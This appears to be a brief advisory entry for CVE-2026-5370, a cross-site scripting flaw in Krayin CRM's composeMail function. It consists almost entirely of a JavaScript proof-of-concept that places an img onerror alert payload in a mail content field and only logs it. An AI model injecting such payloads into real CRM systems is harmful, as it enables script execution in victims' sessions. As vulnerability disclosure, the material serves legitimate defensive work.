CVE-2026-5370: Krayin CRM存在XSS漏洞

// Proof of Concept for CVE-2026-5370 // This script demonstrates how an attacker might inject a payload via the vulnerable composeMail function. // Example payload to be injected into the mail content var payload = '<img src=x onerror=alert("XSS")>'; // Simulate sending a request to the vulnerable endpoint var data = { 'subject': 'Important Notification', 'content': payload, // Malicious content injected here 'recipient': '[email protected]' }; // Note: Actual exploitation requires a valid session and specific endpoint targeting. console.log('Sending payload:', JSON.stringify(data));